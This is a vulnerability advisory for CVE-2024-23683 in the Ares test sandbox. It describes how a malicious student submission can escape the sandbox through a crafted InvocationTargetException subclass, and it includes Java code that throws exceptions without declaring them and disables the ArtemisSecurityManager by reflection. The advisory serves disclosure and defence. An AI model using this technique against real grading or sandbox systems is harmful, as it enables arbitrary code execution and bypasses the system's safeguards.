CVE-2024-23683

Workarounds

Forbid student classes in trusted packages like, e.g., described in https://github.com/ls1intum/Ares/issues/15#issuecomment-996449371

References

Are there any links users can visit to find out more?
Not that I know of.

For more information

If you have any questions or comments about this advisory:

• Open an issue in https://github.com/ls1intum/Ares/issues
• Email us, see https://github.com/ls1intum/Ares/security/policy

Detailed description

Using generics, it is possible to throw checked exceptions without a throws clause:

ThrowWithoutThrowsHelper

public class ThrowWithoutThrowsHelper<X extends Throwable>
{
    private final X throwable;

    private ThrowWithoutThrowsHelper(X throwable)
    {
        this.throwable = throwable;
    }

    private <R> R throwWithThrows() throws X
    {
        throw throwable;
    }

    public static <R> R throwWithoutThrows(Throwable throwable)
    {
        ThrowWithoutThrowsHelper<?> helper = new ThrowWithoutThrowsHelper<Throwable>(throwable);
        @SuppressWarnings("unchecked")
        ThrowWithoutThrowsHelper<RuntimeException> helperCasted = (ThrowWithoutThrowsHelper<RuntimeException>) helper;
        return helperCasted.throwWithThrows();
    }
}

Using this, it is possible for a malicious testee to throw an instance of a malicious subclass of InvocationTargetException (let's call it EvilInvocationTargetException).

This exception is catched by org.junit.platform.commons.util.ReflectionUtils::invokeMethod, which looks like this:

ReflectionUtils::invokeMethod

    public static Object invokeMethod(Method method, Object target, Object... args) {
        Preconditions.notNull(method, "Method must not be null");
        Preconditions.condition((target != null || isStatic(method)),
            () -> String.format("Cannot invoke non-static method [%s] on a null target.", method.toGenericString()));

        try {
            return makeAccessible(method).invoke(target, args);
        }
        catch (Throwable t) {
            throw ExceptionUtils.throwAsUncheckedException(getUnderlyingCause(t));
        }
    }

This method calls getUnderlyingCause (of the same class), passing to it the catched, malicious exception as an argument.

ReflectionUtils::getUnderlyingCause

    private static Throwable getUnderlyingCause(Throwable t) {
        if (t instanceof InvocationTargetException) {
            return getUnderlyingCause(((InvocationTargetException) t).getTargetException());
        }
        return t;
    }

getUnderlyingCause in turn checks if the passed exception is instanceof InvocationTargetException, and if so, calls getTargetException on it. getTargetException can be overridden by subclasses of InvocationTargetException, like the EvilInvocationTargetException.
If EvilInvocationTargetException is in a whitelisted package (for example de.tum.in.test.api.security.notsealedsubpackage), getTargetException will be called with the entire stack containing only whitelisted frames.
This allows the attacker to uninstall the ArtemisSecurityManager in EvilInvocationTargetException::getTargetException:

Uninstalling ArtemisSecurityManager

SecurityManager secman = System.getSecurityManager();
Class<?> aresSecmanClass = secman.getClass();
Field isPartlyDisabledF = aresSecmanClass.getDeclaredField("isPartlyDisabled");
isPartlyDisabledF.setAccessible(true);
isPartlyDisabledF.set(secman, true);
System.setSecurityManager(null);

After uninstalling ArtemisSecurityManager, the attacker is free to do anything expressible in Java; including reading and writing any files, opening network connections, and executing arbitrary shell commands.